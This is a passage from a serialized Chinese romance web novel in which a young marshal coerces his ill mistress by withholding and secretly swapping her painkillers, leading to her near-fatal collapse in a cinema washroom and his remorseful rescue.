萧纵被气笑了，“苏姚，你是在为了别的男人，和我闹是吗？” 他真是没想到，自己会沦落到这个地步。 苏姚也没想到他如此不可理喻，“是我连累了萧副官，我难道不该做点什么吗？” “不应该。” 萧纵语气冷沉，“我告诉过你，你的注意力只需要放在我身上，其他的什么都不用管。” 苏姚知道他不讲道理，却没想到能到这个地步，她不想做无谓的口舌之争，索性转身上楼。 “站住。” 萧纵沉声开口，苏姚充耳不闻。 “今天的药，是不要了吗？” 萧纵的音量提高，苏姚被迫停了下来，又是这句话，这两天她都不知道听了多少回了。 可偏偏就是这一句，捏住了她所有的脉门。 她攥紧手，扭头朝萧纵看过去，很想有骨气的说一句不要了，可话只是在嘴边转了一圈，腿疾发作的恐惧就让她控制不住地战栗起来。 最后她嘴唇蠕动几下，却什么都没说。 “我告诉过你吧，” 萧纵对她的妥协并不意外，他扯了下嘴角，笑意却不达眼底，“见到我应该做什么。” 第113章 超出掌控 指甲慢慢掐进掌心里，她站在台阶上，盯着萧纵看了许久，才逼着自己抬脚，一步步下了楼。男人没动，就垂着眉眼，不咸不淡地看着她。 苏姚深深吸了一口气，才抬高胳膊抱住男人的脖子，踮起脚尖在他下颚亲了一口。 萧纵一手揽住她的腰，一手摸了摸她的发丝，语气柔和下来，“乖。” 苏姚垂下眼睛，遮住了眼底的难堪，“今天的药呢？该给我了吧？” “着什么急？” 男人低语一声，拉着她往楼上走，“我们先去看个电影，我忙了一晚上，才腾出今天的时间来。” 苏姚抓着栏杆，停下了脚步，“我不想去。” “你想去。” 萧纵淡淡开口，音量不高，却透着不容拒绝的强势。 苏姚指尖一蜷，不自觉抓住了旗袍的裙摆，她没摸到伤口，却已经感觉到弹痕深处的腿骨在隐隐作痛，一个无比清晰的预感涌上来，她很快就要发作了。 她其实运气不错，大部分时候，腿疾发作都会在夜里，但也有运气不好的时候，比如那次在学校门口；比如那次在百盛街。 “我记得你以前很喜欢的，” 萧纵忽然缓下了语气，“现在也应该喜欢才对。” 他清楚地记得，苏姚以往无数次样求过他，求他带她出去，社交，娱乐，或者只是出去走走，但他忙，一直没答应，现在终于有空了，苏姚怎么能拒绝呢？ “走吧，” 他又拉了一下苏姚，“去打扮一下，我们出去看电影。” “我真的不想去。” 苏姚没动，仰头看过来，“你去忙你的事情吧，我不需要你陪，也不想出去。” 萧纵看了她一眼，慢慢松开了拉着她的手，却没说话，只抽了根烟出来，夹在指尖揉搓，直到搓得那烟不成样子，他才吐了口气开口，“苏姚，你是在和我对着干吗？” “……我没有。” 苏姚疲惫地叹了一声，她听出来萧纵生气了，索性说了实话，“我是真的不舒服，我怕我的腿会在影院里疼起来。” 萧纵心里一哂，指尖的卷烟被彻底揉烂，烟叶扑扑簌簌地散了一地，他随手一扔，眼底溢满嘲讽。 昨天吃的就是补身的药，你现在不也好好的？ 他承认，苏姚肯为了药一再妥协，应该的确不是装病，但既然换了药也没事，那就证明她的身体问题不大。 可现在不是拆穿的好时机。 他就陪着苏姚再演一演戏，等她重新适应了帅府的生活，再去告诉她，她的药早就被换了。 他懒得再和苏姚争论，语气冷淡下来，“两个选择，两片药，跟我去影院；或者你留下，今天没有药。” “你不能这样。” 苏姚仰起头，失声开口，语气颤抖，“你说过，不会反悔的。” “我也不想这样，可你不乖啊。” 萧纵冷笑一声，“我们做交易的时候不是说得很清楚了吗？我要求你做的事情很简单，听话，可你做到了吗？” 苏姚被这话气得呼吸急促。 这两天她都不知道因为这两个字被胁迫了多少回，做了多少不甘不愿的事情。 还要她怎么听话？ “做选择吧。” 萧纵再次开口，他说得轻描淡写，却逼得苏姚进退维谷。 她死死咬住唇，她做不了选择，她都不能选。 眼神几番变化，她抬手，抱住了萧纵的胳膊，“我们就在家里好不好？你读诗给我听吧？我觉得这比看电影有意思多了。” “好啊。” 萧纵答应得很痛快，苏姚一愣，脸上不自觉露出了欢喜，可下一瞬—— “但今天不行。” 萧纵微微弯腰，和苏姚平视，“原本你撒娇，我是可以适当退步的，但你刚才因为萧翼给我甩脸子，让我很不高兴，所以，今天的行程不能变，这是给你的惩罚。” 苏姚嘴角没来得及成型的笑意慢慢散去，可她古怪地并没有多少失望。 大概她从骨子里就相信，自己没有那个分量改变萧纵的决定。 她不是个要脸的人，但仍旧不想在萧纵面前，露出那副扭曲丑陋，毫无尊严的模样来。 如果萧纵知道，药对她而言有多重要，应该会变本加厉吧。 她不能去。 “今天，我不要药了。” 她哑声开口，心里无比庆幸昨天晚上的未雨绸缪，让她留了两片药下来，能让她撑过今天。 说不定运气好，刚才的预感是错觉，其实今天也不会发作。 身边传来一声冷笑，萧纵的目光刀子一般落在她身上。 “苏，姚，” 他开口，明明嘴角噙着笑，可每个字却都像是从牙缝里蹦出来的，“你真的想清楚了吗？” 他很气恼。 意识到这一点，苏姚心里忽然有股隐蔽的，报复的快感。 只是她也觉得自己太可笑，这份快感是她自己冒险得来的，付出的代价可能会很惨痛，简直得不偿失。 可她仍旧没有改口，“想清楚了，我不去。” 话音落下，她转身上楼。 “站住。” 萧纵低喝一声，苏姚却连头都没回。 男人的眼神肉眼可见的阴鸷下去，他不能忍受，苏姚为了别的男人忤逆他。 今天她是去也得去，不去也得去。 他冷冷一哂，提高了音调，“是谁告诉你，你拿不到的，只有今天的药？” 苏姚脚步猛地顿住，转过身，不敢置信地看着他。 她知道萧纵不讲道理，却从来没想过，他会如此无耻。 “不用这么看着我，” 萧纵有些烦躁，不太想去看苏姚的眼睛，可仍旧回视了过来，“我说过的，你要听话。” 指尖控制不住地颤抖，苏姚残破的指甲一点点抠进掌心，锋利的断甲很快就割破了血肉，渗出殷红的血迹来，可她仍旧沉浸在巨大的愤怒和痛苦里。 萧纵…… “走吧。” 男人开口，轻描淡写，却强硬得不容抗拒。 苏姚认命地闭上眼睛，以后的药，她赌不起啊…… 第114章 敲打 等萧纵到的时候，影院已经被戒严。 他没有清场，是因为看电影这种事，需要氛围，如果只有两个人，那就没意思了。 他亲自给苏姚开了车门，不等人下来，就先抓住了她的手腕。 苏姚气得手直抖，“何必呢？我现在什么都没有，怎么敢走？” “别这么说。” 萧纵低头在她发顶上亲了亲，“这种地方人多眼杂，我是紧张你，才要牵着你的。” 苏姚冷笑一声，还要再说什么，男人的目光就看了过来，带了几分隐蔽的胁迫。 苏姚胸腔又涨又疼，却还是闭了嘴，木偶一般被牵着下了车。 落地的瞬间，萧纵的手就从抓着她的手腕，变成了揽着她的腰。 恍惚间，她有种这条胳膊是狗绳的错觉，正拴在她脖子上，越勒越紧，几乎让人喘不上气来。 “少帅？” 忽然有人喊了一声，苏姚没有反应，萧纵却侧头看了过去，就见陈施宁的爹陈祖安抽着旱烟走了过来，身后几个穿着马褂的汉子紧紧跟着。 陈家的产业多且杂，这电影院也掺了股，他这大约是来巡视的，刚好碰见萧纵。 “过来怎么也不说一声？我给你腾个厅出来。” 他说着就要吩咐人去传话，被萧纵抬手拦下了，“伯父客气了，既然来这里，就是图个热闹。” 陈家对他助益极大，萧纵对陈祖安素来都是拿晚辈的姿态，比在萧远山面前要平和谦逊得多。 “这倒也是。” 陈祖安吧嗒了一口旱烟，目光落在苏姚身上，“这是？” “苏姚。” 萧纵随口说了名字，陈祖安是知道苏姚的，只是并没往心里去，所以这冷不丁遇见，他一时间竟没想起来。 萧纵一开口，他才恍然：“原来你就是苏老板。” 他目光再次落在苏姚身上，锋利老辣的目光上下打量着她，显然，他也是听说过苏姚的名头的，在她无知愚蠢地闹腾的那几年里，笑话真的是传遍了整个海城。 苏姚对人的情绪素来敏感，几乎是瞬间就察觉到了陈祖安那掩藏在平易近人外表下的不屑。 她脸颊火辣辣地烫，死死抿紧了唇。 “叫人。” 萧纵声音一沉，显然对苏姚的沉默很不满意，说话间还手勾了下她的腰。 苏姚被迫开口，声音低哑，“陈爷。” 萧纵皱眉，对苏姚的称呼很不满意，她是自己的人，就该跟着自己喊，这不一样的称呼，倒像是她是外人一样。 他沉下声音，“重新喊。” 苏姚忍不住抬头看他，她不信萧纵看不出来陈祖安的态度，她重新喊要喊什么？ 难道真的要喊伯父，自取其辱吗？ 萧纵见她迟迟不开口，只当她是在和自己对着干，脸色更难看。 “算了算了。” 陈祖安似是察觉到了两人之间的暗涌，开口打圆场，岔开了话题，“我听说，前两天唐黎住你家去了？是不是好事近了？要不要我出面去唐家探探口风？” 萧纵拦着苏姚腰的手一紧，下意识看了她一眼，却又觉得自己莫名其妙。 这有什么好紧张的？ 苏姚自己也知道，他不可能和她结婚。 “再说吧，她还没那个心思。” “这可不行，” 陈祖安磕了磕烟灰，“她年纪也不小了，再不结婚，孩子都生不了了，不过话说回来……” 陈祖安赞叹了一声，“她的能耐，不生孩子也得娶，可惜了，要是没有她，我真想撮合你和我闺女，你也知道，我家那丫头，能干得很……” “陈伯父，”萧纵打断了他，“电影要开始了。” 陈祖安啧了一声，“行行行，知道你非唐黎不娶，我不说了，你也别往心里去，我就是年纪大了，爱念叨孩子的婚事。” 他说着又看了眼苏姚，“苏老板是吧？今天见面的突兀，回头我让人给你补一份见面礼。” “……好意领了。” 苏姚开口拒绝，她听出来了，陈祖安提起萧纵的婚事，是故意的，他是在敲打自己。 或许是因为她曾经做的那些事情，或许是单纯地瞧不上她。 可她真的已经没有那么不安分了。 至于见面礼，如果是以往，只要有好处，她才不在乎羞辱不羞辱的；可现在，她什么都拿不到手，何必白白被人作践。 但萧纵并不这么想，苏姚此举，实在是不给陈祖安面子。 “道谢。” 他语气强硬，心里气恼苏姚连强龙不压地头蛇的道理都不懂。 陈家在萧家面前不算什么，但要是和陈家结怨，绝对也能让萧家不痛快一阵子，而且，他也不想因为苏姚和陈家结怨。 苏姚咬着牙开口，“我这种身份，拿了陈家的东西，不是辱没了……” 萧纵一把钳制住她的手，打断了她没说完的话，加重了语气，“我让你道谢。” 苏姚掌心的伤口，再次被指尖抠破，她抿紧了唇，萧纵没再逼她，只无声地做了个口型。 他说，药。 苏姚浑身一抖，呼吸急促又混乱，她不相信萧纵不知道陈祖安是在羞辱她。 但他不在乎。 他只是不允许自己违逆他。 可她赌不起，她不敢拿自己的命去赌，没有药，她真的会被疼死的。 萧纵啊萧纵，你到底为什么非要留下我呢？ 我对你，到底有什么用…… 她难堪地闭上了眼睛。 “……谢陈爷。” 她声音嘶哑又颤抖，但没有人在意她这种人的情绪。 陈祖安甚至都给她任何回应，只看向了萧纵，“少帅，后院的人，还是得立立规矩，这么不懂事，会惹麻烦的。” “女人嘛，” 萧纵揽住了苏姚的腰，轻哂一声开口，“有些小性子，也挺有意思的，不是吗？” 看出来他的维护，陈祖安附和地笑了一声，又寒暄了几句就带着人告辞了。 萧纵的脸这才拉了下来，“苏姚，你故意的是吧？” 苏姚疲惫至极，有心解释，可话到嘴边又咽了下去。 他又不听。 萧纵侧头吐了口气，也没再说什么，拥着她就往里走。 苏姚被迫跟上，可就在要进电影院的一瞬间，腿骨骤然刺痛起来。 她的脸色一瞬间惨白下去——她的预感没有错，真的发作了。 第115章 发作 她脚步猛地顿住，哪怕被萧纵拥着，也没再往前寸进分毫。 经过刚才一闹，萧纵的耐心几乎耗尽，他强压着火气，“又怎么了？” 苏姚没开口，身体控制不住地战栗了起来。 她没有回答萧纵的话，目光已经开始四处逡巡，在看见卫生间时，眼睛一亮，踉跄着就要过去。 萧纵一把拉住她，“你干什么去？” “我，我想先去方便一下。” 她竭力忍耐着腿上那越来越厉害的，仿佛骨头被锯断的痛苦，目光落在萧纵衣袋上，药应该就在里面。 萧纵没察觉到她的异样，在他看来，苏姚今天的所作所为，没有一件不是在挑衅他。 “看完电影再去。” 苏姚就是怕他不肯让自己去，才不敢说腿已经开始疼了，可没想到说了谎，萧纵竟然还是不同意。 “我等不及了。” 她哆嗦着开口，萧纵却半分放松的意思都没有，甚至抓着她手腕的手还更加用力了：“苏姚，你到底是真的想去方便，还是不想和我看这场电影？” 苏姚死死咬着牙，没有再开口，因为只是站在这里，就已经用光了她所有的力气。 没有时间浪费了…… 冷汗自额角冒出来，她再顾不得其他，一低头就咬住了萧纵的手腕。 萧纵猝不及防，吃痛之下本能地松了手，苏姚趁机从他衣袋里拿走了药，跌跌撞撞地冲进了卫生间，反手将门锁上了。 萧纵这才反应过来，苏姚这哪里是要方便，分明是要拿着腿疼做筏子和他对着干。 他大步追了过去，却只听见了里头门上锁的声音。 “苏姚！” 他低吼一声，已经被彻底激怒，脸色一瞬间狰狞起来。 “给我出来！” 他加重了语气，雷霆似的动静，立刻吸引了影院来往的行人，纷纷驻足看了过来。 可这么大的动静，里头的人却没给他丝毫反应。 “我再说一遍，”他咬紧了后牙槽，气的声音都在哆嗦，“出来！” 门内仍旧安安静静，苏姚一句话都没说。 他拳头咔吧响了一声，一拳砸在了墙上。 墙面凹了一块，尘土簌簌落下，骇得围观众人一阵惊叫，连忙跑了。 于修明本来想劝一句，可看着他狰狞的脸色，嘴边的话又咽了下去。 带着打手赶过来的经理还以为是有人闹事，一看见他瞬间僵在原地：“少帅？怎么是您啊，这是怎么了？” “滚。” 萧纵开口，连头都没侧一下。 经理不敢忤逆，连忙要走，又想起什么，将一串钥匙递给了于修明，“这里有卫生间的钥匙，少帅若是需要，尽管拿去。” 萧纵看都没看，尽管处于暴怒之中，他仍旧维持了一丝理智，虽然他笃定苏姚躲起来是故意的，但这毕竟是卫生间，万一苏姚真的是在方便…… 得让她自己出来。 结实的大掌拍在门板上，整扇门都跟着颤动起来，他声音低沉冷硬，“苏姚，我数到三，自己出来。” “一，” 男人的声音仿佛无形的气墙，明明看不见实体，却压得人喘不上气来。 苏姚瘫坐在地，勉强靠着洗手台上才没有栽倒，她看了眼门板，心脏一阵阵紧缩，却只是死死咬着牙，抖着手拧开了药瓶。 然后仰头，将两片药都倒进了嘴里。 “二，” 剧烈的疼痛引起了胃痉挛，刚刚硬吞下去的药片，险些又吐出来，她抬手死死捂住了嘴。 她现在没有浪费的资格了，无论如何都不能吐。 痛苦的呻吟却怎么都压不住，她不得不咬住了手包。 很快药就会起效的，只要药起效了，就没那么难熬了，忍一忍，忍一忍…… “三。” 男人再次开口。 苏姚心脏猛地一跳，一瞬间本就急促的呼吸越发凌乱起来，她强撑着想要站起来，想要换个更隐蔽的地方躲藏，可双腿却根本不听使唤，刚一动弹她就摔了下去。 她又惊惧又无力，满心的彷徨无措，她知道萧纵现在很生气，如果进来一定不会轻易放过她。 所以，药效快些起来吧，抗住这一阵疼，她还能打起精神和萧纵周旋。 她一遍遍地祈祷，恳求，可却毫无用处，剧痛仍旧毫不留情地侵袭着她，甚至她清晰地感觉到，那疼痛在逐渐加剧，越来越厉害，越来越让人难以忍受。 这次的药效，怎么发挥得这么慢…… 身上的衣服很快被冷汗浸透，身体的温度也在一点点流逝，强烈的痛苦折磨得她眼前发黑，她不得不更用力地咬住了手包。 她知道两颗药的效果不好，但多少会有一点用的，可为什么这么久了，还是没起效呢？ 起效啊，快起效啊…… 她心里不停地祈祷，意识却控制不住地混沌下去，这一瞬间，她什么都顾不上了。 萧纵即将进来的威胁也好，将要遭受惩戒的恐惧也罢，什么都没了。 她甚至连自己的心跳声都听不见了。 仿佛这世界上，只剩了她这幅在忍受着无边无际痛苦的躯壳。 好疼，好疼啊…… 刺耳的牙齿摩擦声响起，她竟是生生将手包咬穿了，温热腥甜的液体顺着嘴角淌了出来，月白色的手包，肉眼可见地变成了殷红。 她却丝毫顾不上，死死咬着牙关。 真的好疼。 疼得想死…… 念头冒出来的瞬间，她浑身一个激灵，意识骤然清明了一瞬。 不能这样下去，她会撑不住的。 药。 对，她把另外两颗药也带来了。 如果两颗药没用，那四颗药肯定会有用的。 她抖着手打开了手包，抖着汗湿的手拧开了药瓶，再次将那两片药也吃了进去。 再忍一下，很快，很快就没这么疼了…… 她一遍遍地在心里念着这句话，仿佛只要说得越多，药效就会越快。 可时间一分一秒过去，深入骨髓的痛楚却没有缓解半分。 意识昏沉下去，却又被疼痛强行唤醒。 一遍遍重复，一次次加剧，恍惚间，苏姚觉得自己经历了数不清的轮回。 呼吸控制不住地孱弱下去，可身体的疼痛却还在加剧，她茫然又绝望地睁大了眼睛—— 为什么会这样？ 为什么吃了四颗药都没有用？ 明明昨天两颗药都有用的…… 她终于明白过来，药，有问题。 脑海里忽然回想起萧纵当时答应给她药时的神情。 原来如此。 她就说萧纵怎么会和她妥协，原来如此啊…… 可她不想死。 她挣扎着朝门口爬去。 萧纵就在外面。 我以后会听话的，我再也不会违逆你了，给我真的止疼药吧，两片，一片也好…… 残缺的指甲死死扣进地砖的缝隙里，因为太过用力，很快就一寸寸崩断，指尖瞬间鲜血淋漓。 她一无所觉，仍旧拼尽全力往门口靠近。 可她不知道，她这么拼命，身体却根本没有挪动分毫。 她已经虚弱到动不了了。 “救……” 她奋力开口，却只发出了一声呜咽似的低吟，除了她，谁都听不到。 少帅，你救救我，救救我…… 她无声地开口，盼着外头那个男人能破门而入，救她一回。 周遭却一片寂静，苏姚这才发现，外头不知道什么时候安静了。 没有呵斥声，没有敲门声。 安静得让人心慌。 萧纵呢？ 苏姚挣扎着睁开眼睛，透过门板的缝隙看出去，外头空空荡荡，没有那双黑皮靴。 他……走了。 艰难扬起的头不受控制地垂了下去，她张了张嘴，大片鲜血自口中涌出，却没能发出任何声音，只有眼神一点点空洞下去，再瞧不见一丝神采。 第116章 该管教了 “嘶。” 萧纵吸了口气，这才发现烟不知道什么时候抽完了，暗火烫到了手指。 他垂眸看了一眼，用力捏扁了烟头。 “怎么，还真和苏小姐生气了？” 陈施宁拍拍他肩膀，“行了，男人别那么小气。” 他是跟着陈祖安来影院巡视的，听经理说萧纵在闹事，就赶了过来，结果就发现人正在看电影，瞧着十分冷静的样子。 他让人送了酒来，给萧纵倒了一杯，“喝完这杯酒就回去说两句软话，苏小姐不是无理取闹的人，你好好说，她肯定出来。” “呵。” 萧纵冷笑一声，抬手接过酒杯，一饮而尽，“我是来看电影的，又不是来哄人的，她既然不想出来，那就呆在里面吧。” 话音落下，他看向陈施宁身边的经理，“把门给我关好了，就算她过来，也不准放进来。” 经理不敢反驳，连连应声。 陈施宁啧了一声，见他在气头上也不好再劝，却有些纳闷，“苏小姐好端端的，为什么躲进卫生间里去？” 萧纵胸腔剧烈起伏起来，好一会儿才吐了口气，讽刺道，“最近她一直在和我闹，就为了点止疼药。” 这件事虽然是帅府屋里的事，可陈施宁和萧纵走得近，还是有所耳闻。 原本他还想着给苏姚说点好话，可一听这事，脸色也尴尬起来。 苏姚拿着腿疼说事，任谁看都觉得是在挟恩图报。 虽然她的确救了萧茵，但总这么折腾，再大的恩情也得抹消了，闹不好还得成仇。 他叹了一声，有些同情萧纵，“你也不容易。” 萧纵没说话，只给自己点了根烟。 “这次我就不劝你了，” 陈施宁又拍拍他肩膀，“虽然我一向怜香惜玉，但苏小姐这么闹下去，的确对谁都不好，该管教就管教吧。” 萧纵仍旧沉默，心里却有些嘲讽，谁都能看明白的事情，苏姚她到底长没长脑子？ 她知不知道自己的举动和心思早就被人看穿了？她现在就像个跳梁小丑。 他现在甚至怀疑，她所谓的疼，都是装病装了太多次，把自己都骗到了。 不然怎么会连滋补的药也能止疼呢？ 大屏幕上，电影已经到了尾声，他起身就走。 经理连忙开了门，外头空空荡荡的，没有苏姚的影子，她并没有过来。 电影都快放完了，人还没出来…… 他深吸一口气，大步朝卫生间走了过去。 于修明奉命在这里看着，见他来连忙开口，“苏小姐还没出来。”。 萧纵额角青筋直跳，他深吸一口气，“苏姚，最后一次机会，立刻出来，跟我回去。” 里头安安静静，如同之前一样，毫无反应。 “好，好好好。” 萧纵一连重复了很多遍，才颤着声音继续开口，“这是你非要逼我的，今天你就留在这里吧。” 他扭头看向陈施宁，竭力控制火气，“看来要给你添麻烦了。” “这都是小事。” 陈施宁不以为意，一路将他送了出去。 “少帅，真的不管了吗？” 于修明连忙去开车，却忍不住开口。 萧纵一把扯开了衣领，目光透过玻璃看向了影院门口。 “回去。” 最近苏姚太不像话了，留在帅府本就是为了她好，她却如此折腾。 陈施宁说得对，该管教了。 车子很快回了帅府，他却没下车，只靠在后座上休息。 他没骗苏姚，昨天他忙了一宿，才把今天的时间腾出来，最后换了这么一个结果。 他咬着牙，仰头闭上了眼睛。 再醒过来的时候，周遭一片漆黑，他撸起袖子看了眼时间，晚上九点。 不算太晚，但影院应该打烊了。 他没特意嘱咐给苏姚留灯，就是想逼着她回来。 苏姚怕黑，而且陈施宁的那个脾气，不可能不对女人心软，一求救，肯定就被放出来了。 人很快就会被送回来的。 他竖起耳朵听外头的动静，可等了又等，门口却始终很安静。 他又看了一眼手表，九点半了，百盛街距离帅府也不过是半小时的路程，按理说，该到了。 他耐着性子又等了等，眼看着时针慢慢指向十，眉头紧紧皱了起来，怎么动作这么慢？ 他烦躁地点了根烟，车外却多了道身影。 “少帅。” 萧翼隔着车窗敬了个礼，萧纵不耐烦理会他，“不养伤，到处跑什么？” 萧翼忍不住看了眼二楼的窗户，他知道自己不该多嘴，但实在是忍不住，“少帅，苏小姐还没回来吗？她的窗户……” 萧纵啧了一声，原来苏姚怕黑这事，萧翼也察觉到了。 挺招人啊。 他狠狠吸了口烟，却没有隐瞒，“她躲在影院的卫生间里不出来，我就把她留下了。” “什么？！” 萧翼失声开口，“万一她发作怎么办？少帅，您怎么能……” 萧纵侧头看过来，只一眼，萧翼嘴边的话就顿住了。 “是属下失言。” 萧纵不想理他，沉着脸自己抽烟。 萧翼却再次不知死活地开口，“少帅，不管怎么说，已经很晚了，先把人接回来吧。” “陈施宁会送她回来的。” “可是……” “闭嘴，”萧纵不耐烦地开口，一个苏姚已经够他糟心的了，萧翼竟然还跟着添乱，“记着你的身份，下去。” 萧翼一滞，后心沁凉，他不敢再说，只能退下。 可目光却落在了二楼的窗户上，看着那一片漆黑，他心脏紧缩，脑海里都是苏姚在车上疼晕又疼醒的样子。 他脚步猛地顿住，大步折返回去，双腿一弯跪在了萧纵面前，“少帅，属下求您，去把苏小姐接回来吧。” 第117章 腿疾是真的 萧纵一愣，萧翼虽然明面上是副官，实际上是家奴，可两人一起长大，他心里是拿他当心腹培养的，还从来没让人跪过。 这是头一回，竟然是为了苏姚，他的女人。 短暂的怔愣过后，他硬生生被气笑了。 “萧翼，你发什么疯？” 他简直想给他一脚，让他滚回去给自己浇桶冷水，冷静冷静。 萧翼苦笑一声，“少帅，属下知道自己逾距了，但还是求您去影院看一眼，您想想，苏小姐怕黑，都这么晚了，如果没事，她肯定已经回来了。” 萧纵一指头掐断了手里的烟，被萧翼这话搅得心烦意乱，他没喊苏姚吗？ 请了她多少次了？是她自己不回来的。 他越想越气，开口就要拒绝，却莫名其妙地想起了苏姚下楼时小心翼翼的样子。 明明是毫无关联的事情，他却就是想了起来，心跳还在这一瞬乱了。 他没言语，只垂眸看了眼腕表，十点了。 门外还是没有任何动静。 “少帅！” 萧翼再次开口，话里难掩焦急，他甚至还往前膝行了两步，“如果真是苏小姐无理取闹，属下愿意承受任何责罚，绝无怨言，属下求您了，咱们就去看看吧。” 萧纵仍旧沉默，却不自觉仰头看了眼二楼黑漆漆的窗户。 半晌后，他低骂了一声，语气阴沉，“开车。” 萧翼如蒙大赦，连忙钻进了驾驶室，调转车头，一脚油门朝着影院去。 海城虽然繁华，但夜里除了百乐门和南风雅舍那些地方，街上还是十分安静，几乎瞧不见行人，所以萧翼几乎将车速提到了极致。 平常需要半小时的路程，这次只用了二十分钟就到了。 可就算如此，过程却仍旧十分漫长，长得萧纵都开始胡思乱想了。 苏姚不会真的…… 不可能。 他立刻反驳，抬手将本就凌乱的衣领又扯开了些。 影院很快出现在眼前，车子一个急刹停了下来。 他没等萧翼开车门，自己先下去了，两人一前一后往里走。 “影院打烊了，回去吧。” 门口值守的人喊了一声，萧翼提高音量报了名讳，值守吓了一跳，一边道歉一边开了影院的大门。 灯光自门内照出来，萧纵被晃得眯了下眼睛，脚下却不停。 陈施宁搬了把椅子守在卫生间门口，听见说话声起身过来迎接，脸上却满是揶揄，“心软了？我还真以为你要关她一宿呢。” 萧纵盯着卫生间的门看了一眼才开口，“没关灯？” “人都在这关什么灯？” 陈施宁被问得莫名其妙，“黑漆漆的多吓人。” 萧纵心头骤然一松，不自觉活动了一下手指，这才发现不知道什么时候，他掌心出了一层汗，肩颈也有些僵硬。 他掩饰性地咳了一声，看了萧翼一眼，本是想骂他小题大做的，一开口却只剩了无奈，“听见了吗？她不回去，是因为没关灯。” 和腿疾有什么关系？ 萧翼头低了一些，似是也觉得自己错了，可目光却还是看向了卫生间，“少帅，来都来了。” 萧纵没再开口，顺水推舟地走了过去：“你闹够了没有？出来。” 里头仍旧没给他回应。 萧纵刚平复下去的心情又烦躁了起来，“苏姚，我已经够给你面子了。” 仍旧没得到半分回应。 萧纵的脸黑了下去，额角青筋突地跳了一下。 好你个苏姚…… “苏小姐，”萧翼连忙开口，打断了萧纵，唯恐他再说下去，会和苏姚又闹起来，“少帅来接您回去了，您出来吧，有什么话，咱们回去说。” 里面的苏姚并没有因为换了人而改变态度，仍旧一言不发。 萧纵心里平衡了一些，火气也消了大半，“别喊了，她听不懂人话，有钥匙，开门吧。” 他其实想直接踹开，可这毕竟是陈家的产业。 陈施宁连忙让人去经理室拿。 钥匙很快被送了过来，众人十分自觉地避开了门口，连陈施宁和萧翼也走远了几步，克制着不往这里看。 萧纵这才在一堆钥匙里找到卫生间的，抬手插进了孔洞里。 随着咔嗒一声响，卫生间的锁被打开，他调整了一下脸色，今天虽然把人接了回去，但他必须要让苏姚意识到，事情不算完。 他抬手推了门一把，语气冷沉—— “出来吧，回去再和你算……” 嘴边的话戛然而止。 他从没设想过会看见眼前这幅画面—— 苏姚嘴角都是血。 她蜷缩在卫生间冷硬的地砖上，一动不动，无声无息。 第118章 悔不当初 “苏姚？！” 他瞳孔一缩，一瞬间什么情绪都顾不上了。 他大步进了门，弯腰将地上的人托了起来，下一瞬，他脸色就僵住了，苏姚的身体，怎么这么凉？ 心脏控制不住地一抖，他下意识抱紧了怀里的人，抬手轻拍着她的脸颊，“苏姚，醒醒，你怎么了？” 短短几个字，他声音已经变了调。 可怀里的人毫无声息，连颈椎都失去了支撑力，头软软地垂了下去。 胸腔仿佛被重重砸了一锤，一瞬间，萧纵只觉得自己置身雪海冰原，冷意彻骨。 “苏小姐？苏小姐是不是出事了？！” 萧翼似是察觉到了什么，快步走了过来，看见卫生间里的情形，他的脸色一瞬间就白了下去。 “苏小姐……” 他该给苏姚送药的，他明知道她不是装病，他该给她送药的。 都是他的错…… 他喃喃自语，被强烈的自责包裹着，几乎无法呼吸。 “别愣着。” 萧纵抖着手将人抱了起来，起身的瞬间脚下踉跄了一步，却强撑着站稳，他竭力保持冷静，声音却撕裂又颤抖，“回帅府！” 医院有的东西帅府都有，医生也是现成的，距离这里也更近，比医院更合适。 只要回去，苏姚就不会有事的。 萧翼被这两声喊得回了神，连忙快跑一步出去开车门。 陈施宁也反应了过来，“我去给帅府打电话，让他们准备着。” 萧纵顾不上道谢，加快脚步出了门。 夜色黑得让人心慌，他将苏姚平放在后座，不停地按压她的胸腔，给她度气，试图将人唤醒。 “苏姚，醒醒，你醒醒……” 他一边呼喊，一边极力控制着力道，他知道自己手劲大，怕不留神弄伤她。 可大约是太过紧张，手掌竟一阵阵地痉挛，疼得他满头都是冷汗。 可他不敢停下，仍旧一下下地按压。 他不明白，只是几个小时不见而已，苏姚怎么就成了这样。 明明来的时候还好好的，怎么就…… 那片刺目的红又浮在脑海里，他手一抖，呼吸瞬间混乱起来。 “没事的，没事的。” 他刚才给苏姚检查过了，她没有外伤，所以不会有事，一定不会有事。 “再坚持一下，我们很快就到了……” 他哑声安抚，机械地呼唤，手上动作片刻不停。 可不管他说什么，做什么，床上的人始终安安静静，她仿佛一只毫无生气的人偶，再不会给予任何反应。 心脏狠狠一抖，连带着身体也战栗起来，抖得他连苏姚的胸膛都按压不住。 操！ 他低骂一声，反手给了自己一巴掌。 疼痛终于让他强行镇定了下来，他再次给苏姚急救起来。 不会有事的，绝对不会有事…… 帅府很快出现在眼前，车子一个急刹停在了副楼门前，金锦已经得了消息，早早就候在门前，车一停立刻上前开了车门。 医生和助手紧随其后，将苏姚推进了医疗室急救。 医疗室的门“砰”的一声被关上。 那声响，仿佛砸在了萧纵胸膛上，砸得他身体一晃，几乎站不稳。 “少帅。” 金锦察觉到了他的异样，抬手扶了一把，“你没事吧？” 萧纵呼吸混乱，他几次调整，才勉强维持住了在下属面前的从容。 “没事。” 他沉声开口，目光看向了医疗室的大门。 金锦却是一愣，萧纵的嗓子…… 但她什么都没说，沉默地陪他们等着。 “苏姚怎么样了？” 陈施宁未见其人，先闻其声，话音落下他才风风火火地闯了进来，手里还拿着个纸袋子，金锦主动上前开口，“还在抢救，陈少知道发生什么事了吗？” “我也不知道，但我肯定会管的。” 他只知道人是在影院变成这样的，要是真出点事，他肯定难辞其咎。 “别多想，和你没关系。” 萧纵哑声开口，陈施宁听着嘶哑得不成样子的声音，心里有些不是滋味。 他安抚地拍了拍萧纵的肩膀，什么都没说。 萧纵也没再理他，刚才那句话，是他必须说的，但现在已经没有别的事情非做不可了。 他的目光重新落在了医疗室的门上，一眨不眨地盯着。 等待让时间变得格外漫长。 身边好像有人说了什么，他听不清，也不想回答，就只是看着门口。 苏姚，没事的，你一定会没事的…… 在他一遍遍的祈祷里，医疗室的门终于打开，萧纵浑身一颤，猛地站直身体。 “苏姚呢？” 众人齐刷刷看了过来，医生摘了口罩，“情况已经稳定了，但人还没醒。” 萧纵没等他说完就已经进了医疗室，苏姚仍旧安安静静地，却不再是之前那副毫无生气的样子。 紧绷的身体骤然一松，仿佛灵魂终于落到了实处，他紧紧抓住了苏姚的手。 “我就知道，你不会有事……” 他呢喃一声，低下头，轻轻抵住了苏姚的额头。 众人也跟着松了口气，人没事就好。 